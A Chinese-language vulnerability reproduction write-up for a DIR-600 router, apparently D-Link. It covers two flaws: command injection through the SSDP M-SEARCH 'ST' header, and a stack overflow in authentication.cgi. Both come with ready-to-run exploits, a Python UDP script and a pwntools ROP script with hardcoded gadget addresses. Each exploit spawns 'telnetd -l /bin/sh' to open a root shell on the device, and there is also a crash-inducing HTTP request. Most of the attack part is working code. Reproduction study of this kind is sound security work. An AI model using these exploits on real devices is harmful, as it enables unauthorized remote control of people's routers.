DRI-600 漏洞复现简要
漏洞一
漏洞分析
cgibin注册多个函数 , 我们定位到ssdpcgi_main函数,是一个基于SSDP 协议的服务,SSDP 协议是基于UDP协议的
SSDP 包结构
1 2 3 4 5 6
| M-SEARCH * HTTP/1.1 # SSDP HOST: 239.255.255.250:1900 MAN: "ssdp:discover" ST: upnp:rootdevice MX: 2
|
M-SEARCH
是 SSDP 的主动搜索指令
HOST:
告诉它你是发给 SSDP 组播地址(也可用局部设备IP)
MAN: "ssdp:discover"
:声明这是一条服务发现请求
ST: ssdp:all
:声明你寻找所有类型的服务(也可以是 upnp:rootdevice
、uuid:xxx
)
MX
:SSDP 协议中 响应延迟时间
定位到这里,需要指定参数的都有命令注入风险

通过格式化字符串,完成命令注入


EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import socket def config_payload(ip, port): payload = ( b"M-SEARCH * HTTP/1.1\r\n" + f"HOST: {ip}:{port}\r\n".encode() + b"ST:uuid:;telnetd -l /bin/sh -p 9999\r\n" + b"MX: 2\r\n" + b'MAN:"ssdp:discover"\r\n' + b"\r\n" ) return payload
def send_payload(ip, port): try: sock = socket.socket( socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP ) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) payload = config_payload(ip, port) print(f"[*] Targeting {ip}:{port}") sock.sendto(payload, (ip, port)) print("[+] Exploit packet sent successfully") print("[*] Check telnet service on port 9999") except Exception as e: print(f"[-] Error: {str(e)}") finally: sock.close()
if __name__ == "__main__": IP = "192.168.0.1" SSDP_PORT = 1900 send_payload(IP, SSDP_PORT)
|
漏洞二
漏洞分析
定位到认证函数authenticationcgi_main,这里获取id和password并没有进行长度验证,当进行strcpy的时候,就会发生栈溢出

利用bp测试一下
1 2 3 4 5 6 7 8 9 10
| GET /authentication.cgi?id=aaaaaa&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: uid=SdRpsGe1Do Upgrade-Insecure-Requests: 1 Priority: u=0, i
|
发现果然崩溃了

接下来就构建rop链,需要控制返回地址和参数,从这个函数结尾可以看到,恢复压栈的参数,我们既然可以控制栈,当然可以控制这些参数,所以我们需要找到一个调用system代码段

之前的命令注入漏洞就有一个代码段比较合适

在构建ROP的时候有两个点需要注意
- strcpy会\x00截断,无法直接通过id来实现控制返回地址和参数
- password会对空格进行编码,需要绕过一下
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * import requests
load_system = 0x00413F24 sh_addr = 0x43a190 id = b'a' * 0x81c + p32(load_system) password = b'telnetd${IFS}-l${IFS}/bin/sh${IFS}-p${IFS}8888;' password = password.ljust(0x400 , b'b') + p32(sh_addr)
url = "http://192.168.0.1/authentication.cgi" params = { "id" : id , "password" : password } response = requests.get(url = url , params = params).text print(response)
|
所遇问题
- 漏洞挖掘有什么通用的挖洞思路?
- 怎么进行测试快速发现漏洞?
- 必备的技术栈有哪些?